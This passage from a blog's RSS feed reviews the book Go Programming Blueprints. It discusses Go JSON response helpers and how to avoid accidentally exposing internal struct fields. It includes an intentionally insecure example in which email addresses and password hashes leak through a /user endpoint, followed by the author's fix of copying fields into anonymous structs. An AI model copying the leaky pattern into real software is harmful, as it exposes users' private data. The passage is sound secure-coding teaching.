&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// respond serializes response data to JSON in the body of an HTTP request.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">respond&lt;/span>(ctx context.Context, w http.ResponseWriter, r *http.Request, v &lt;span style="color:#6ab825;font-weight:bold">interface&lt;/span>{}, code &lt;span style="color:#6ab825;font-weight:bold">int&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">var&lt;/span> buf bytes.Buffer
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err := json.&lt;span style="color:#447fcf">NewEncoder&lt;/span>(&amp;amp;buf).&lt;span style="color:#447fcf">Encode&lt;/span>(v)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">respondErr&lt;/span>(ctx, w, r, err, http.StatusInternalServerError)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> w.&lt;span style="color:#447fcf">Header&lt;/span>().&lt;span style="color:#447fcf">Set&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;Content-Type&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;application/json; charset=utf-8&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> w.&lt;span style="color:#447fcf">WriteHeader&lt;/span>(code)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> _, err = buf.&lt;span style="color:#447fcf">WriteTo&lt;/span>(w)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> log.&lt;span style="color:#447fcf">Errorf&lt;/span>(ctx, &lt;span style="color:#ed9d13">&amp;#34;respond: %s&amp;#34;&lt;/span>, err)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="how-ive-adapted-ryers-encoding-helper-pattern">How I&amp;rsquo;ve adapted Ryer&amp;rsquo;s encoding helper pattern&lt;/h4>
&lt;p>I like Ryer&amp;rsquo;s helper method idea, but I think it pays too high a cost of abstraction for too little benefit. How often do you rewrite your web app to use a different encoding scheme?&lt;/p>
&lt;p>Plus, you&amp;rsquo;re leaking abstraction anyway because the route handler has to specify JSON tags in the struct even though they&amp;rsquo;re not supposed to know anything about the format.&lt;/p>
&lt;p>I also don&amp;rsquo;t like writing error messages in JSON because most components in the Go HTTP stack fail with a plaintext error, so JSON-formatted errors mean the client has to look for an error as both well-formed JSON and as plaintext. It&amp;rsquo;s easier to just always send error messages as plaintext.&lt;/p>
&lt;p>For successful JSON responses, I use a function called &lt;code>respondJSON&lt;/code> like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">respondJSON&lt;/span>(w http.ResponseWriter, data &lt;span style="color:#6ab825;font-weight:bold">interface&lt;/span>{}) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> w.&lt;span style="color:#447fcf">WriteHeader&lt;/span>(http.StatusOK)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> w.&lt;span style="color:#447fcf">Header&lt;/span>().&lt;span style="color:#447fcf">Set&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;Content-Type&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;application/json&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err := json.&lt;span style="color:#447fcf">NewEncoder&lt;/span>(w).&lt;span style="color:#447fcf">Encode&lt;/span>(data); err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> log.&lt;span style="color:#447fcf">Fatalf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;failed to encode JSON response: %v&amp;#34;&lt;/span>, err)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And I just do the JSON decoding inline, so my &lt;code>handleFooPost&lt;/code> would look like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">handleFooPost&lt;/span>(w http.ResponseWriter, r *http.Request) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">var&lt;/span> payload &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Username &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> &lt;span style="color:#ed9d13">`json:&amp;#34;username&amp;#34;`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> DisplayName &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> &lt;span style="color:#ed9d13">`json:&amp;#34;displayName&amp;#34;`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err := json.&lt;span style="color:#447fcf">NewDecoder&lt;/span>(r.Body).&lt;span style="color:#447fcf">Decode&lt;/span>(&amp;amp;payload); err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> http.&lt;span style="color:#447fcf">Error&lt;/span>(w, &lt;span style="color:#ed9d13">&amp;#34;JSON is invalid&amp;#34;&lt;/span>, http.StatusBadRequest)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Do something with the request.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">respondJSON&lt;/span>(w, &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ID &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> &lt;span style="color:#ed9d13">`json:&amp;#34;id&amp;#34;`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ID: &lt;span style="color:#ed9d13">&amp;#34;1234&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I end up repeating that &lt;code>json.NewDecoder(r.Body).Decode(&amp;amp;payload)&lt;/code> snippet, but it&amp;rsquo;s just one line, so it&amp;rsquo;s not a big deal.&lt;/p>
&lt;h3 id="hiding-internal-struct-details-from-clients">Hiding internal struct details from clients&lt;/h3>
&lt;p>One web development pitfall that affects all languages is accidental data exposure. Suppose you have an internal struct for representing data about users:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">type&lt;/span> User &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Username &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> &lt;span style="color:#ed9d13">`json:&amp;#34;username&amp;#34;`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> DisplayName &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> &lt;span style="color:#ed9d13">`json:&amp;#34;displayName&amp;#34;`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You want to expose a JSON API like &lt;code>/user?id=1234&lt;/code>, so you write something like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">handleUserGet&lt;/span>(w http.ResponseWriter, r *http.Request) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> user, err := &lt;span style="color:#447fcf">loadUser&lt;/span>(r.URL.&lt;span style="color:#447fcf">Query&lt;/span>().&lt;span style="color:#447fcf">Get&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;id&amp;#34;&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> http.&lt;span style="color:#447fcf">Error&lt;/span>(w, &lt;span style="color:#ed9d13">&amp;#34;Failed to load user&amp;#34;&lt;/span>, http.StatusInternalServerError)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">respondJSON&lt;/span>(w, user)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When users query the &lt;code>/user&lt;/code> route, they&amp;rsquo;ll get back public information about a user:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl https://example.com/user?id=&lt;span style="color:#3677a9">1234&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;username&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;alice123&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;displayName&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;Alice&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So far, so good. Except a month later, you realize that you want to adjust your internal struct to pass around some more data, like the user&amp;rsquo;s email address and password hash:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">type&lt;/span> User &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Username &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> &lt;span style="color:#ed9d13">`json:&amp;#34;username&amp;#34;`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> DisplayName &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> &lt;span style="color:#ed9d13">`json:&amp;#34;displayName&amp;#34;`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Email &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> &lt;span style="color:#ed9d13">`json:&amp;#34;email&amp;#34;`&lt;/span> &lt;span style="color:#999;font-style:italic">// Add these for&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> PasswordHash &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> &lt;span style="color:#ed9d13">`json:&amp;#34;passwordHash&amp;#34;`&lt;/span> &lt;span style="color:#999;font-style:italic">// internal operations.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Even though you haven&amp;rsquo;t touched &lt;code>handleUserGet&lt;/code>, now when users call the &lt;code>/user&lt;/code> route, they get a lot of new information:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl https://example.com/users?id=&lt;span style="color:#3677a9">1234&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;username&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;alice123&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;displayName&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;Alice&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;email&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;alice.albertson@contoso.com&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;passwordHash&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;$2a$10$J5zqqeQgH80ScyOSeCNCD.1V3ApJ1ULYMwMEhOjG6j4SM1mqL84YO&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Whoops! You just leaked everyone&amp;rsquo;s email addresses and password hashes.&lt;/p>
&lt;p>When I used to do penetration testing, I found several companies making this mistake in the real world. It&amp;rsquo;s a subtle bug because, from the developer&amp;rsquo;s perspective, everything worked as intended when they implemented &lt;code>handlerUserGet&lt;/code>. When they add fields to the &lt;code>User&lt;/code> struct, they&amp;rsquo;re not touching &lt;code>handleUsersGet&lt;/code>, so they won&amp;rsquo;t notice the exposure unless they routinely check their applicaiton&amp;rsquo;s raw HTTP traffic.&lt;/p>
&lt;p>I&amp;rsquo;m paranoid about making this class of mistake in my apps, so I&amp;rsquo;m always curious how other people handle this.&lt;/p>
&lt;h4 id="ryers-public-method-pattern">Ryer&amp;rsquo;s &lt;code>Public&lt;/code> method pattern&lt;/h4>
&lt;p>Ryer proposes solving the above problem by &lt;a href="https://github.com/matryer/goblueprints/blob/aae50b4b30fa6dfd73e3c411b3bfe1972294be61/chapter7/meander/public_test.go">adding a &lt;code>Public&lt;/code> method&lt;/a> to structs that have both an internal and external representation:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">type&lt;/span> obj &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> value1 &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> value2 &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> value3 &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> (o *obj) &lt;span style="color:#447fcf">Public&lt;/span>() &lt;span style="color:#6ab825;font-weight:bold">interface&lt;/span>{} {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">map&lt;/span>[&lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">interface&lt;/span>{}{&lt;span style="color:#ed9d13">&amp;#34;one&amp;#34;&lt;/span>: o.value1, &lt;span style="color:#ed9d13">&amp;#34;three&amp;#34;&lt;/span>: o.value3}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">TestPublic&lt;/span>(t *testing.T) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> is := is.&lt;span style="color:#447fcf">New&lt;/span>(t)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> o := &amp;amp;obj{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> value1: &lt;span style="color:#ed9d13">&amp;#34;value1&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> value2: &lt;span style="color:#ed9d13">&amp;#34;value2&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> value3: &lt;span style="color:#ed9d13">&amp;#34;value3&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v, ok := meander.&lt;span style="color:#447fcf">Public&lt;/span>(o).(&lt;span style="color:#6ab825;font-weight:bold">map&lt;/span>[&lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">interface&lt;/span>{})
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> is.&lt;span style="color:#447fcf">Equal&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">true&lt;/span>, ok)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> is.&lt;span style="color:#447fcf">Equal&lt;/span>(v[&lt;span style="color:#ed9d13">&amp;#34;one&amp;#34;&lt;/span>], &lt;span style="color:#ed9d13">&amp;#34;value1&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> is.&lt;span style="color:#447fcf">Nil&lt;/span>(v[&lt;span style="color:#ed9d13">&amp;#34;two&amp;#34;&lt;/span>])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> is.&lt;span style="color:#447fcf">Equal&lt;/span>(v[&lt;span style="color:#ed9d13">&amp;#34;three&amp;#34;&lt;/span>], &lt;span style="color:#ed9d13">&amp;#34;value3&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I like Mat Ryer&amp;rsquo;s technique, and I think it works well if you establish that convention in your codebase, but it&amp;rsquo;s not my favorite solution to this problem in Go.&lt;/p>
&lt;p>My main issue with Ryer&amp;rsquo;s technique is that it violates encapsulation. I prefer my internal types to be as simple as possible and minimize assumptions about how clients will use them. Adding a &lt;code>Public&lt;/code> method means that the type is anticipating how clients will use the data and it forces all endpoints to expose the same fields.&lt;/p>
&lt;h4 id="my-preferred-detail-hiding-method">My preferred detail-hiding method&lt;/h4>
&lt;p>In my Go code, I prefer distinct structs for externally-facing data. When I need to publish data to an external client, I copy data from the internal struct into my external struct.&lt;/p>
&lt;p>Usually, I use anonymous structs that I declare inline so I don&amp;rsquo;t even need another named type:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// my internal data&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">type&lt;/span> User &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Username &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> DisplayName &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Email &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> PasswordHash &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">handleUserGet&lt;/span>(w http.ResponseWriter, r *http.Request) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> user, err := &lt;span style="color:#447fcf">loadUser&lt;/span>(r.URL.&lt;span style="color:#447fcf">Query&lt;/span>().&lt;span style="color:#447fcf">Get&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;id&amp;#34;&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> http.&lt;span style="color:#447fcf">Error&lt;/span>(w, &lt;span style="color:#ed9d13">&amp;#34;Failed to load user&amp;#34;&lt;/span>, http.StatusInternalServerError)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Copy the fields from User that I want to publish into a new anonymous&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// struct.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">respondJSON&lt;/span>(w, &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Username &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> &lt;span style="color:#ed9d13">`json:&amp;#34;username&amp;#34;`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> DisplayName &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> &lt;span style="color:#ed9d13">`json:&amp;#34;displayName&amp;#34;`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Username: user.Username,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> DisplayName: user.DisplayName,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I prefer this method for a few reasons:&lt;/p>
&lt;ul>
&lt;li>There&amp;rsquo;s an additional layer of protection from accidental disclosure.
&lt;ul>
&lt;li>Even if someone accidentally included an internal struct in an external type, nothing would print out because the internal struct fields have no JSON tags.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>It makes the data you&amp;rsquo;re returning more explicit.&lt;/li>
&lt;li>It gives you more fine-grained control over the data.
&lt;ul>
&lt;li>With the &lt;code>Public&lt;/code> pattern, all endpoints including the type have to return data in the same format, whereas with the above method, each endpoint decides which fields to expose and in what format.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="honorable-mentions-for-interesting-chapters">Honorable mentions for interesting chapters&lt;/h3>
&lt;h4 id="chat-application-with-web-sockets">&lt;a href="https://github.com/matryer/goblueprints/tree/master/chapter1">Chat Application with Web Sockets&lt;/a>&lt;/h4>
&lt;ul>
&lt;li>Cool demo of using goroutines and WebSockets.&lt;/li>
&lt;/ul>
&lt;h4 id="adding-user-accounts">&lt;a href="https://github.com/matryer/goblueprints/tree/master/chapter2/chat">Adding User Accounts&lt;/a>&lt;/h4>
&lt;ul>
&lt;li>Good example of how to chain HTTP handlers.&lt;/li>
&lt;/ul>
&lt;h4 id="building-distributed-systems-and-working-with-flexible-data">&lt;a href="https://github.com/matryer/goblueprints/tree/master/chapter6">Building Distributed Systems and Working with Flexible Data&lt;/a>&lt;/h4>
&lt;ul>
&lt;li>This chapter alone would have been worth the price of the book.&lt;/li>
&lt;li>Horizontally scaling: Scaling a system by adding nodes to improve reliability or performance&lt;/li>
&lt;li>Vertically scaling: Scaling a system by increasing the resources of individual nodes (e.g., adding RAM or CPU)&lt;/li>
&lt;li>Cool example of combining horizontally scalable services.
&lt;ul>
&lt;li>Uses &lt;a href="https://nsq.io/">NSQ&lt;/a> to publish messages.&lt;/li>
&lt;li>Uses the &lt;a href="https://developer.twitter.com/en/docs/twitter-api">Twitter streaming API&lt;/a> to read live data from Twitter.&lt;/li>
&lt;li>Uses &lt;a href="https://www.mongodb.com/">MongoDB&lt;/a> to store data.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Very cool to see a system that&amp;rsquo;s highly scalable yet made of simple parts.&lt;/li>
&lt;li>Uses a &lt;a href="https://github.com/matryer/goblueprints/blob/aae50b4b30fa6dfd73e3c411b3bfe1972294be61/chapter5/twittervotes/main.go#L58L73">custom transport function in an HTTP connection&lt;/a> to customize low-level behavior of the underlying TCP connection.&lt;/li>
&lt;li>Good example of how to override the default signal handler to do custom cleanup &lt;a href="https://github.com/matryer/goblueprints/blob/aae50b4b30fa6dfd73e3c411b3bfe1972294be61/chapter5/counter/main.go#L76L89">when your app receives &lt;code>SIGINT&lt;/code> or &lt;code>SIGTERM&lt;/code> signals&lt;/a> from the operating system.&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 29</title><link>https://mtlynch.io/retrospectives/2022/12/</link><pubDate>Wed, 14 Dec 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2022/12/</guid><description>&lt;div class="notice notice-info">
